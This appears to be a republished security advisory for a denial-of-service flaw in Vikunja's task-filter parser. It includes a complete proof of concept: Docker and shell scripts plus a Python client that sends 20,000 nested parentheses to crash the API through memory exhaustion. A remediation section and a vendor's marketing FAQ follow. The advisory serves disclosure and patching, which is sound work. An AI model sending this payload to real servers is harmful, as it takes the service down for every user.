Summary
Vikunja: Unbounded nested task-filter recursion permits API process termination
Unbounded nested task-filter recursion permits API process termination
Authenticated task-list routes accept a filter expression without a length or nesting-depth bound, preprocess it, parse it recursively through fexpr, and recursively convert the resulting expression tree. A syntactically valid deeply nested expression well below the HTTP request-size ceiling exhausts memory and kills the API process.
Impact and affected scope
- Type: Resource Exhaustion Recursive Parser
- Affected component: GET /api/v2/projects/{project}/tasks?filter=; Other authenticated task-collection entrypoints that share getTaskFiltersFromFilterString
- Preconditions: A low-privileged authenticated user supplies thousands of balanced parentheses around a valid task predicate in the filter query parameter.
- Verified revision:
349cd5adbcc831ef08b08e6c9c6d627603c39606on 28 August 2026 - Affected release range:
= 2.5.0; broader historical range not established and maintainer confirmation requested
A single low-privileged network request can terminate the API process and deny service to all users.
Technical details
The server preprocesses and recursively parses/traverses an unbounded filter expression without rejecting excessive length or depth.
Attack path: Authenticate, request an accessible project's task collection with 20,000 nested parenthesis pairs around id = 1, and drive parser and expression-tree memory growth until the process is killed.
Relevant code:
pkg/models/task_collection_filter.go:240pkg/models/task_collection_filter.go:268pkg/models/task_collection_filter.go:274pkg/models/task_collection_filter.go:276pkg/models/task_collection_filter.go:295
Reproduction
Run this only against an authorized disposable environment. The complete verified minimum file set is reproduced below. It starts the isolated target, runs the security-relevant trigger, verifies an objective target/application signal, and exercises the available negative or sibling control.
Create reproduction/Dockerfile:
FROM golang:1.27.0-alpine
RUN apk add --no-cache bash build-base ca-certificates python3 tzdata
WORKDIR /app
COPY . /app
RUN chmod +x /app/*.sh 2>/dev/null || true
# Target source is supplied only at runtime through /target-repo:ro.
# This image contains build dependencies and reproduction helpers, not a clone.
Create reproduction/client.py:
#!/usr/bin/env python3
import json
import sys
import time
import urllib.error
import urllib.parse
import urllib.request
BASE = "http://target:3456"
def request(method, path, body=None, token=None, expected=None, timeout=30):
raw = None if body is None else json.dumps(body).encode()
headers = {"Accept": "application/json"}
if body is not None:
headers["Content-Type"] = "application/json"
if token:
headers["Authorization"] = "Bearer " + token
req = urllib.request.Request(BASE + path, data=raw, headers=headers, method=method)
try:
with urllib.request.urlopen(req, timeout=timeout) as response:
status, data = response.status, response.read()
except urllib.error.HTTPError as exc:
status, data = exc.code, exc.read()
print(f"{method} {path[:160]} -> {status} {data[:200].decode(errors='replace')}", flush=True)
if expected is not None and status != expected:
raise RuntimeError(f"{method}: got {status}, expected {expected}")
return status, json.loads(data.decode()) if data else {}
def wait_ready():
for _ in range(240):
try:
if request("GET", "/api/v1/info")[0] == 200:
return
except Exception:
pass
time.sleep(0.25)
raise RuntimeError("target did not become ready")
def filter_path(project_id, depth):
expression = "(" * depth + "id = 1" + ")" * depth
path = f"/api/v2/projects/{project_id}/tasks?filter=" + urllib.parse.quote(expression, safe="")
print(f"PoC_FILTER_REQUEST depth={depth} target_bytes={len(path)}", flush=True)
return path
def main():
wait_ready()
username, password = "PoC-filter-user", "PoC-password-123!"
request("POST", "/api/v2/register", {
"username": username,
"email": username + "@example.invalid",
"password": password,
}, expected=201)
_, login = request("POST", "/api/v2/login", {"username": username, "password": password}, expected=200)
token = login["token"]
_, project = request("PUT", "/api/v1/projects", {"title": "PoC filter project"}, token, 201)
started = time.monotonic()
request("GET", filter_path(project["id"], 1000), token=token, expected=200)
print(f"PoC_FILTER_CONTROL=PASS elapsed={time.monotonic() - started:.3f}s", flush=True)
try:
status, _ = request("GET", filter_path(project["id"], 20000), token=token, timeout=90)
raise RuntimeError(f"attack unexpectedly returned HTTP {status}")
except (TimeoutError, ConnectionError, urllib.error.URLError, OSError) as exc:
print(f"PoC_FILTER_ATTACK_DISCONNECTED error={type(exc).__name__}", flush=True)
print("PoC_FILTER_ATTACK_SENT depth=20000", flush=True)
if __name__ == "__main__":
try:
main()
except Exception as exc:
print(f"PoC_FILTER_CLIENT=FAIL {exc}", file=sys.stderr, flush=True)
raise
Create reproduction/prepare.sh:
#!/usr/bin/env bash
set -euo pipefail
mkdir -p /work/repo
cp -a /target-repo/. /work/repo/
mkdir -p /work/repo/frontend/dist
cp /app/frontend-placeholder.html /work/repo/frontend/dist/index.html
cd /work/repo
CGO_ENABLED=1 go build \
-tags osusergo \
-ldflags '-s -w -X code.vikunja.io/api/pkg/version.Version=PoC-reproduction' \
-o /output/vikunja .
chmod 0755 /output/vikunja
if [[ -f /app/probe.go ]]; then
go build -o /output/probe /app/probe.go
chmod 0755 /output/probe
fi
Create reproduction/run.sh:
#!/usr/bin/env bash
set -euo pipefail
SCRIPT_DIR="$(cd "$(dirname "${BASH_SOURCE[0]}")" && pwd)"
FINDING_DIR="$(cd "${SCRIPT_DIR}/.." && pwd)"
SESSION_DIR="$(cd "${FINDING_DIR}/.." && pwd)"
CASE_ID="$(basename "${SESSION_DIR}")"
FINDING_NAME="$(basename "${FINDING_DIR}")"
IMAGE_TAG="PoC-${CASE_ID}-${FINDING_NAME}"
TARGET_REPO_URL="https://github.com/go-vikunja/vikunja.git"
TARGET_REF="349cd5adbcc831ef08b08e6c9c6d627603c39606"
WORKDIR="$(mktemp -d "${SESSION_DIR}/.PoC-reproduction.XXXXXX")"
TARGET_REPO_DIR="${WORKDIR}/repo"
BUILD_DIR="${WORKDIR}/build"
DATA_DIR="${WORKDIR}/data"
NETWORK="${IMAGE_TAG}-net-$$"
TARGET_CONTAINER="${IMAGE_TAG}-target-$$"
cleanup() {
docker rm -f "${TARGET_CONTAINER}" >/dev/null 2>&1 || true
docker network rm "${NETWORK}" >/dev/null 2>&1 || true
rm -rf "${WORKDIR}"
}
trap cleanup EXIT
mkdir -p "${BUILD_DIR}" "${DATA_DIR}/files"
chmod 0777 "${BUILD_DIR}" "${DATA_DIR}" "${DATA_DIR}/files"
echo "[PoC] cloning and pinning target ${TARGET_REF}"
git clone --filter=blob:none --no-checkout "${TARGET_REPO_URL}" "${TARGET_REPO_DIR}"
git -C "${TARGET_REPO_DIR}" checkout --detach "${TARGET_REF}"
echo "[PoC] building helper image ${IMAGE_TAG}"
docker build -t "${IMAGE_TAG}" "${SCRIPT_DIR}"
docker run --rm -v "${TARGET_REPO_DIR}:/target-repo:ro" -v "${BUILD_DIR}:/output" "${IMAGE_TAG}" /app/prepare.sh
docker network create "${NETWORK}" >/dev/null
docker run --detach --name "${TARGET_CONTAINER}" \
--network "${NETWORK}" --network-alias target \
--memory 512m --memory-swap 512m --pids-limit 256 \
-v "${BUILD_DIR}/vikunja:/app/vikunja:ro" --tmpfs /data:rw,exec,mode=1777 \
-e VIKUNJA_SERVICE_INTERFACE=:3456 -e VIKUNJA_SERVICE_PUBLICURL=http://target:3456/ \
-e VIKUNJA_SERVICE_ROOTPATH=/data -e VIKUNJA_SERVICE_JWTSECRET=PoC-reproduction-secret \
-e VIKUNJA_SERVICE_ENABLEREGISTRATION=true -e VIKUNJA_DATABASE_TYPE=sqlite \
-e VIKUNJA_DATABASE_PATH=/data/vikunja.db -e VIKUNJA_FILES_BASEPATH=/data/files \
-e VIKUNJA_MAILER_ENABLED=false -e VIKUNJA_REDIS_ENABLED=false -e VIKUNJA_LOG_HTTP=off \
-e VIKUNJA_RATELIMIT_NOAUTHLIMIT=1000 \
"${IMAGE_TAG}" /app/vikunja web >/dev/null
set +e
OUTPUT="$(docker run --rm --network "${NETWORK}" "${IMAGE_TAG}" python3 /app/client.py 2>&1)"
CLIENT_STATUS=$?
set -e
printf '%s\n' "${OUTPUT}"
for _ in $(seq 1 80); do
STATE="$(docker inspect --format '{{.State.OOMKilled}} {{.State.ExitCode}} {{.State.Running}}' "${TARGET_CONTAINER}")"
[[ "${STATE}" != "false 0 true" ]] && break
sleep 0.25
done
STATE="$(docker inspect --format '{{.State.OOMKilled}} {{.State.ExitCode}} {{.State.Running}}' "${TARGET_CONTAINER}")"
echo "PoC_FILTER_CONTAINER state=${STATE} client_status=${CLIENT_STATUS}"
if ! grep -q 'PoC_FILTER_CONTROL=PASS' <<<"${OUTPUT}" || ! grep -q 'PoC_FILTER_ATTACK_SENT depth=20000' <<<"${OUTPUT}" || [[ "${STATE}" != "true 137 false" ]]; then
echo "[PoC] FAIL: nested filter did not produce the expected cgroup OOM termination" >&2
exit 1
fi
echo "PoC_FILTER_RECURSION=PASS depth=20000 OOMKilled=true ExitCode=137"
echo "[PoC] SUCCESS: an approximately 120 KB authenticated request terminated a 512 MiB API process"
Create reproduction/frontend-placeholder.html:
<!doctype html><title>PoC backend reproduction placeholder</title>
From the directory containing these files, run:
chmod +x reproduction/run.sh reproduction/*.sh 2>/dev/null || true
./reproduction/run.sh
Expected: A low-privileged request below the server request-size ceiling terminates the API process through unbounded filter parsing.
Observed: Depth 1,000 returned HTTP 200 in 14 ms. The 120,044-byte depth-20,000 request disconnected, and Docker recorded OOMKilled=true, ExitCode=137. The run emitted PoC_FILTER_RECURSION=PASS.
Verification and controls: The client creates an ordinary account and project, asserts the depth-1,000 route control is HTTP 200, submits depth 20,000, and the host script accepts only the attack marker plus Docker OOMKilled=true and ExitCode=137.
Observed evidence:
- depth=1000 target_bytes=6044: HTTP 200
- depth=20000 target_bytes=120044: RemoteDisconnected
- target container: OOMKilled=true, ExitCode=137
- PoC_FILTER_RECURSION=PASS
Suggested remediation
Enforce the intended authorization, size, cardinality, recursion, or lifecycle boundary before the sensitive operation described above; fail closed; release partial resources on every exit path; and add a regression test that preserves the exploit and negative-control oracles.
Severity
CVSS v4.0: 7.1 (High), Vector: CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N
This assessment is preliminary and pending maintainer confirmation. The score was recalculated with the FIRST CVSS v4.0 reference implementation on 28 August 2026.
Disclosure context and attribution
AI-assisted analysis helped surface this issue; the behavior was independently reproduced and validated in an isolated environment.
Reported by the University of Sydney security research team:
- Ziyue Wang (@Zyy0530)
- Liyi Zhou (@lzhou1110)
- Strick Sheng (@Str1ckl4nd)
- Maurice Ng (@mauriceng98)
- Chenchen Yu (@7thParkk)
We are happy to answer questions, provide additional verification details, or validate a candidate patch.
Impact
Affected versions
Security releases
Kodem intelligence
Severity tells you how bad this could be in the worst case. It does not tell you whether you are exposed. Exploitability and impact are functions of runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A vulnerable package can sit in your dependency tree and never run.
Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter. Kodem's runtime-powered SCA identifies whether this CVE is reachable in your applications.
Already deployed Kodem?
See it in your environmentNew to Kodem? Get a demo →Remediation advice
Kodem Kai can prioritize this vulnerability in your dependency tree and generate a fix recommendation.
Frequently Asked Questions
- What is CVE-2026-91968? CVE-2026-91968 is a high-severity security vulnerability in code.vikunja.io/api (go), affecting versions = 2.5.0. It is fixed in 2.6.0.
- Which versions of code.vikunja.io/api are affected by CVE-2026-91968? code.vikunja.io/api (go) versions = 2.5.0 is affected.
- Is there a fix for CVE-2026-91968? Yes. CVE-2026-91968 is fixed in 2.6.0. Upgrade to this version or later.
- Is CVE-2026-91968 exploitable, and should I be worried? Whether CVE-2026-91968 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
- What actually determines whether CVE-2026-91968 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
- How do I fix CVE-2026-91968? Upgrade
code.vikunja.io/apito 2.6.0 or later.